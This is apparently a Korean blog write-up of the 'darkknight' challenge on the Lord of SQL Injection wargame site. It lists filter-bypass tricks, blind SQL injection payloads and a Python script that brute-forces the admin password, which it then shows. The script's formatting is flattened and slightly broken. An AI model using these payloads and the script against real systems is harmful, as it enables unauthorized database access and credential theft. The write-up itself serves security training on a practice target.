728x90
반응형

상단에 나오는 쿼리문은 DB에 해당 쿼리문으로 데이터가 들어간다고 알려준다.
이번문제 쿼리문을 보면 id는 guest로 값이 있는 파라미터와 공백의 pw 파라미터, no 파라미터가 있다.
query : select id from prob_darkknight where id='guest' and pw='' and no=
아래에는 php 코드가 나와있으며, 이걸 참고해서 문제를 푸는 것 이다.
해당 php 코드에서 자세하게 봐야 하는 부분은 이 부분인 것 같다.
아래 조건문을 보면 특수문자들과 pw에는 싱글쿼터(‘)를 필터링 하고, no에는 싱글쿼터(‘), substr, ascii, = 을 필터링 하고 있다.
addslashes() 함수를 사용하여 일부 문자열앞에 백슬래시(\)를 붙여서 반환한다.
- **싱글 쿼터('), 더블 쿼터("), 백슬래시(\), NUL(NULL)**에 해당한다.
문제를 풀기 위해서는 admin 계정의 정확한 pw를 입력해야 한다.
if(preg_match('/prob|_|\\.|\\(\\)/i', $_GET[no])) exit("No Hack ~_~");
if(preg_match('/\\'/i', $_GET[pw])) exit("HeHe");
if(preg_match('/\\'|substr|ascii|=/i', $_GET[no])) exit("HeHe");
$query = "select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight");
필터링을 우회하는 방법을 생각해보았다.
- or ⇒ ||
- and ⇒ &&
- substr() ⇒ mid()
- = ⇒ like
해당 우회 방법이 먹히는지 확인을 위해 공격문을 만들어보자.
?no=1 || id like "admin" => Hello admin 문자열이 뜸
?no=1 || id like "admin" %26%26 length(pw) like "1"%23
?no=1 || id like "admin" %26%26 length(pw) like "8"%23
위 공격문을 통해 Hello admin이라는 문자열을 확인했으므로, pw의 길이는 8글자이다.

패스워드를 하나하나 입력하기에는 오래 걸리므로 아래 코드를 사용하여 실행시켰다.
소스코드 참고 : https://butt3r-cat.tistory.com/entry/LOS-Lord-of-SQL-Injection-11번-golem-문제풀이
import requests
URL = '<https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php>'
cookies = {'PHPSESSID' : '쿠키값'} #각자의 쿠키 값을 대입
password = ''
for admin_len in range(8): #pw의 길이 8만큼 수행
for admin_pass in range(ord('0'), ord('z')): #숫자 0에서 부터 문자 z까지 대입
{'no' : '1 || id like \\"admin\\" && ord(mid(pw, {}, 1)) like {} #'}
query = {'no' : '0 || id like \\"admin\\" && mid(pw, 1, ' + str(admin_len + 1) +') like \\"' + password + chr(admin_pass) + '\\"#'}
res = requests.get(URL, params = query, cookies = cookies)
if('Hello admin' in res.text): #만약에 res.text에 Hello admin이 뜨면 pw 출력
password = password + chr(admin_pass)
print('Password detected (' + str(admin_len + 1) + ' words): ' + password)
break
print("pw 값은 [",password,"] 입니다")
pw 값을 알아냈다.

?pw=0B70EA1F 를 보내면 될 것 같다.
- 지난번처럼 소문자로 보내주었다.
?pw=0b70ea1f 를 보내면 될 것 같다.

728x90
반응형